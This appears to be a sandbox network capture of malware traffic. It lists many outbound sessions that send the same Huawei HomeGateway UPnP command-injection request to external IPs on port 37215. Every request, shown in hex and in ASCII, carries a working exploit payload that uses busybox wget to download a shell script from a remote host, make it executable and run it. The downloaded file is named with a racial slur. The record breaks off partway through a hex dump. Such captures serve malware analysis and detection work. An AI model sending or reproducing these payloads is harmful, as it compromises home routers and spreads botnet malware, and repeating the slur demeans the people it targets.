48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.651563883 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	42652	37.16.9.244	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.626549959 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	50060	37.32.25.181	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:47.800815105 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	39324	156.247.27.85	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.941956997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.497029066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.352946997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.096474886 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:04.519330025 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365242958 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 